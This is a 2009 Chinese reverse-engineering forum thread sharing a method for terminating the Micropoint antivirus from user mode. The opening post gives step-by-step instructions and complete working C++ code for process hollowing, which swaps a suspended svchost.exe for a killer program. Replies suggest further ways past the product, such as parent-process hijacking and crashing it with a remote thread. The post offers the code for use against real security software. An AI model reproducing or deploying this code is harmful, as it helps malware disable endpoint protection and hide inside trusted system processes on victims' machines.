首页
社区
课程
招聘
[分享]Ring3下WX方法结束微点2009
发表于: 2009-10-9 22:04 27563

[分享]Ring3下WX方法结束微点2009

2009-10-9 22:04
27563

此法系Hovi.Delphic首发,某日看过之后甚感WS(某牛:“太挫了,太挫了”),于是把原作者的VB代码转成VC,以飨读者。

微点的主动防御没有拦截一些系统进程如csrss.exe, smss,exe, lsass.exe, svchost.exe, services.exe等的危险动作。因为这些进程通常是不危险的,我们要做的就是把它们中的某个变成危险进程,然后用这个危险进程猥亵微点。即用进程注入的方法把svhost.exe偷换成TerminateMP.exe(结束微点的程序),也就是所谓的借尸还魂。

操作步骤如下:
1.调用CretaeProcess函数创建第一个进程(svhost.exe),该进程处于suspend模式(记得参数CREATE_SUSPENDED ).

2.调用GetThreadContext函数获取第一个进程的各个寄存器值.其中EBX的值指向的就是该进程的PEB,EAX寄存器保存了该进程的入口点 (entry point)

3.从PEB中获取该进程的 base_address, [ebx+8]的值

lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...

4.把第二个进程(TerminateMP.exe)读入到内存中,用ReadFile函数调用即可,注意如果文件对齐和内存对齐不一样的话,必须做必要的对齐操作.
5.如果第二个进程和第一个进程有相同的基地址(base-address),并且第二个进程的大小小于第一个进程,则只要简单的调用WriteProcessMemory函数覆盖掉第一个进程的进程空间,然后恢复运行即可.

6.否则的话,先调用ZwUnmapViewOfSection把第一个进程的镜像映射去掉,该函数由ntdll.dll导出.然后调用VertualAllocEX函数在第一个进程内存空间里面申请足够大的内存.然后拷贝第二个进程的镜像到该空间(利用WriteProcessMemory函数)

7.假如调用ZwUnmapViewOfSection操作失败,但是第二个exe是可重定位的.则可以在第一个进程空间里面的任何位置开始申请足够大的空间,在该分配的空间对第二个进程进行重定位.然后拷贝重定位后的exe到第一个进程空间里,开始位置就是申请的空间位置.

8.用第二个进程(TerminateMP.exe)的base-address修正PEB中相应的值,位置是[ebx+8]

9.用EAX设置第二个进程( TerminateMP.exe )的入口点地址
10.调用SetThreadContext函数修正
11.调用ResumeThread函数恢复svhost.exe运行.

实现代码可以参考 http://bbs.pediy.com/showthread.php?t=41873

这里提供一份更简短的代码,便于看清操作过程

BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
 HANDLE hFile;
 DWORD dwFileSize;    //文件大小
 IMAGE_DOS_HEADER DosHeader;
 IMAGE_NT_HEADERS NtHeader;
 PROCESS_INFORMATION pi;
 STARTUPINFO si;
 CONTEXT context;
 PVOID ImageBase;
 unsigned long ImageSize;
 unsigned long BaseAddr;
 unsigned long retByte = 0;
 LONG offset;
 HMODULE hNtDll=GetModuleHandle("ntdll.dll");
 if(!hNtDll)
  return FALSE;
 ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
 memset(&si, 0, sizeof(si));   
 memset(&pi, 0, sizeof(pi)); 
 si.cb = sizeof(si);
 
 hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
 if (hFile == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }
 ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
 dwFileSize = ::GetFileSize(hFile, NULL);
 LPBYTE pBuf = new BYTE[dwFileSize];
 memset(pBuf, 0, dwFileSize);
 DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
 ::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
 ::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
 //检查PE结构
 //以挂起方式进程
 BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); 
 
 if (res)
 {
  context.ContextFlags = CONTEXT_FULL;
  if (!GetThreadContext(pi.hThread,&context))  //如果调用失败
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
  if (!BaseAddr)
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  //拆卸傀儡进程内存模块
  if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
  {
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }
  ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE);  //ImageBase 0x00400000
  if (ImageBase == NULL)
  {
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
  }  
  //替换傀儡进程内存数据
  if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
  {
   DWORD wrongFlag2 = GetLastError();  
  }
  //DOS 头 + PE 头 + 区块表的总大小
  //定位到区块头
  offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
  IMAGE_SECTION_HEADER secHeader;
  WORD i = 0;
  for (;i < NtHeader.FileHeader.NumberOfSections;i++)
  {
   //定位到各个区块
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
  }
 
  context.ContextFlags = CONTEXT_FULL;
  //重置 执行文件入口
  WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
  context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
  SetThreadContext(pi.hThread,&context);
  ResumeThread(pi.hThread);
 }
 
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 ::CloseHandle(hFile);  
 delete[] pBuf;
 return TRUE;
}
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (55)
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
2
微点的拦截机制其实很土,尚没有做到数据驱动,因此只能对付很小的一部分已存在的木马。
因此绕过方法就很多了。这种傀儡进程技术早在04年就有人写了(或许更早,我好像见过一个02年的代码),算是比较常规的手段了,算不上什么WS

PS:用类似的手法伪装系统进程或360进程,是不能绕过360安全卫士的 ;)
2009-10-9 22:14
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
另外,楼主的中间的代码显然有点脱了裤子打屁的意味。何必要自己解析PE再writeprocessmemory呢?自己CreateSection再map进来,数行代码即能完成

父进程劫持是一种很常用的攻击手段,其实没必要unmap section再remap,还有其他数种利用方法,另外,微点没有拦截进程获取process_create_process权限,因此可以用父进程劫持的思想,构造一个不是由微点创建的微点子进程~方法很多了,能说出来的,都不算WS~
2009-10-9 22:16
0
雪    币: 320
活跃值: (278)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
我不是觉得进程注入WX,是觉得创建远程错误线程来结束进程WX
2009-10-9 22:20
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
5
创建错误远线程和创建特殊API结束没什么本质区别了,没觉得哪里WX了。
2009-10-9 22:23
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
需要膜拜3个人,一个是楼主,一个是楼上的mj。另外一个是第一个下载的sysnap大牛。
2009-10-9 22:23
0
雪    币: 320
活跃值: (278)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
聆听大牛教诲,可否揭示一下远程错误线程本质是啥?
2009-10-9 22:25
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
8
不就是不写入SHELLCODE执行代码么,执行任意一个代码,甚至是PAGE_NOACCESS的,就可以目标进程崩溃了~ret2libc的类似思想,微点没拦截这个只能说是比较弱智,不能说这个方法WX
2009-10-9 22:30
0
雪    币: 320
活跃值: (278)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
9
我错了 下次再也不妄称WX了...
2009-10-9 22:59
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
10
膜拜MJ大牛……
2009-10-9 23:00
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
11
说实话,我还真不知道WX是啥意思
2009-10-9 23:02
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
12
貌似当年灰鸽子创建并利用IE进程就是用的这个方法……
2009-10-9 23:41
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
13
你们没一个好东西!哈哈,干坏事都很精通啊,禁用WriteProcessMemory和OpenProcess以及一切跨进程函数得了
2009-10-10 08:33
0
雪    币: 290
活跃值: (20)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
这程序对预升级版本没用
2009-10-10 10:12
0
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
偶用的是微点预升级版本 无法成功被结束  显示结束进程失败
2009-10-10 10:12
0
雪    币: 290
活跃值: (20)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
16
公网大众版本和预升级版本是有很大区别的
2009-10-10 10:16
0
雪    币: 107
活跃值: (1693)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
17
这种手法 记得whitecell有一份代码,我好像也分析过一个类似的东西。
2009-10-10 10:36
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
18
我微点正版的啊. 比预升级的好使. 哈哈
2009-10-10 10:55
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
19
靠这种遮遮掩掩的方式发版本只能说水平太低,信心不足。这么下去注定是没有前途的 呵呵
2009-10-10 13:51
0
雪    币: 300
活跃值: (179)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
20
WC,那我的试用版不是直接就是一个摆设啊~~~顶他个肺!!!
2009-10-10 22:50
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
感谢楼主详细解说与代码,

个人感觉确实比较WS,
2009-10-11 00:54
0
雪    币: 217
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
把结束代码做成DLL注射到svchost里面不知道行不行?又或者把TerminateMP.exe改名成svchost.exe呢?
2009-10-12 10:09
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
把自己的搞好就行了,无需指责别人,强烈鄙视这种人!
2009-10-13 21:59
0
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
这位仁兄可知qihoocom是谁么?
2009-10-14 06:30
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
25
说白点,就是傀儡进程!
2009-10-14 12:10
0
游客
登录 | 注册 方可回帖
返回
//